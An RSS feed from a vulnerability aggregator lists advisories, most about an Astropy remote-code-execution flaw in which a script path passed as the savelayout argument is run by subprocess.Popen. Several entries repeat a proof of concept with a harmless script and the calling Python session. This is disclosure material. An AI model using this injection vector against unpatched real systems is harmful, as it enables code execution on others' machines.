<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 18 Oct 2026 23:49:20 +0000</lastBuildDate>
    <item>
      <title>certfr-2024-avi-1103 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2024-avi-1103</link>
      <description>certfr-2024-avi-1103</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2024-avi-1103</guid>
    </item>
    <item>
      <title>EUVD-2026-9238</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-9238</link>
      <description>EUVD-2026-9238</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-9238</guid>
    </item>
    <item>
      <title>fkie_cve-2023-41334</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2023-41334</link>
      <description>&lt;p&gt;Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2023-41334</guid>
    </item>
    <item>
      <title>GHSA-h2x6-5jx5-46hf — RCE in TranformGraph().to_dot_graph function</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-h2x6-5jx5-46hf</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: astropy&lt;/p&gt;
&lt;p&gt;### Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. 
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```shell
$ cat /tmp/script
#!/bin/bash
echo astrorce &amp;gt; /tmp/poc.txt
```
```shell
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type &amp;#34;help&amp;#34;, &amp;#34;copyright&amp;#34;, &amp;#34;credits&amp;#34; or &amp;#34;license&amp;#34; for more information.
&amp;gt;&amp;gt;&amp;gt; from astropy.coordinates.transformations import TransformGraph
&amp;gt;&amp;gt;&amp;gt; tg = TransformGraph()
&amp;gt;&amp;gt;&amp;gt; tg.to_dot_graph(savefn=&amp;#34;/tmp/1.txt&amp;#34;, savelayout=&amp;#34;/tmp/script&amp;#34;)
Traceback (most recent call last):
  File &amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
  File &amp;#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&amp;#34;, line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not &amp;#39;str&amp;#39;
&amp;gt;…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: astropy&lt;/p&gt;
&lt;p&gt;### Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. 
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```shell
$ cat /tmp/script
#!/bin/bash
echo astrorce &amp;gt; /tmp/poc.txt
```
```shell
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type &amp;#34;help&amp;#34;, &amp;#34;copyright&amp;#34;, &amp;#34;credits&amp;#34; or &amp;#34;license&amp;#34; for more information.
&amp;gt;&amp;gt;&amp;gt; from astropy.coordinates.transformations import TransformGraph
&amp;gt;&amp;gt;&amp;gt; tg = TransformGraph()
&amp;gt;&amp;gt;&amp;gt; tg.to_dot_graph(savefn=&amp;#34;/tmp/1.txt&amp;#34;, savelayout=&amp;#34;/tmp/script&amp;#34;)
Traceback (most recent call last):
  File &amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
  File &amp;#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&amp;#34;, line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not &amp;#39;str&amp;#39;
&amp;gt;…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-h2x6-5jx5-46hf</guid>
    </item>
    <item>
      <title>gsd-2023-41334</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2023-41334</link>
      <description>gsd-2023-41334</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2023-41334</guid>
    </item>
    <item>
      <title>openSUSE-SU-2024:13797-1 — python310-astropy-6.0.0-3.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2024:13797-1</link>
      <description>&lt;p&gt;python310-astropy-6.0.0-3.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;python310-astropy-6.0.0-3.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2024:13797-1</guid>
    </item>
    <item>
      <title>PYSEC-2026-1199 — RCE in TranformGraph().to_dot_graph function</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-1199</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: astropy&lt;/p&gt;
&lt;p&gt;### Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. 
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```shell
$ cat /tmp/script
#!/bin/bash
echo astrorce &amp;gt; /tmp/poc.txt
```
```shell
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type &amp;#34;help&amp;#34;, &amp;#34;copyright&amp;#34;, &amp;#34;credits&amp;#34; or &amp;#34;license&amp;#34; for more information.
&amp;gt;&amp;gt;&amp;gt; from astropy.coordinates.transformations import TransformGraph
&amp;gt;&amp;gt;&amp;gt; tg = TransformGraph()
&amp;gt;&amp;gt;&amp;gt; tg.to_dot_graph(savefn=&amp;#34;/tmp/1.txt&amp;#34;, savelayout=&amp;#34;/tmp/script&amp;#34;)
Traceback (most recent call last):
  File &amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
  File &amp;#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&amp;#34;, line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not &amp;#39;str&amp;#39;
&amp;gt;…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: astropy&lt;/p&gt;
&lt;p&gt;### Summary
RCE due to improper input validation in TranformGraph().to_dot_graph function&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Due to improper input validation a malicious user can provide a command or a script file as a value to `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`. 
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```shell
$ cat /tmp/script
#!/bin/bash
echo astrorce &amp;gt; /tmp/poc.txt
```
```shell
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type &amp;#34;help&amp;#34;, &amp;#34;copyright&amp;#34;, &amp;#34;credits&amp;#34; or &amp;#34;license&amp;#34; for more information.
&amp;gt;&amp;gt;&amp;gt; from astropy.coordinates.transformations import TransformGraph
&amp;gt;&amp;gt;&amp;gt; tg = TransformGraph()
&amp;gt;&amp;gt;&amp;gt; tg.to_dot_graph(savefn=&amp;#34;/tmp/1.txt&amp;#34;, savelayout=&amp;#34;/tmp/script&amp;#34;)
Traceback (most recent call last):
  File &amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;
  File &amp;#34;/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py&amp;#34;, line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File &amp;#34;/usr/lib/python3.9/subprocess.py&amp;#34;, line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not &amp;#39;str&amp;#39;
&amp;gt;…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-1199</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2023-41334</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-41334</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:18.04:LTS: astropy, Ubuntu:20.04:LTS: astropy, Ubuntu:22.04:LTS: astropy&lt;/p&gt;
&lt;p&gt;Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:18.04:LTS: astropy, Ubuntu:20.04:LTS: astropy, Ubuntu:22.04:LTS: astropy&lt;/p&gt;
&lt;p&gt;Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the `TranformGraph().to_dot_graph` function. A malicious user can provide a command or a script file as a value to the `savelayout` argument, which will be placed as the first value in a list of arguments passed to `subprocess.Popen`.  Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-41334</guid>
    </item>
  </channel>
</rss>
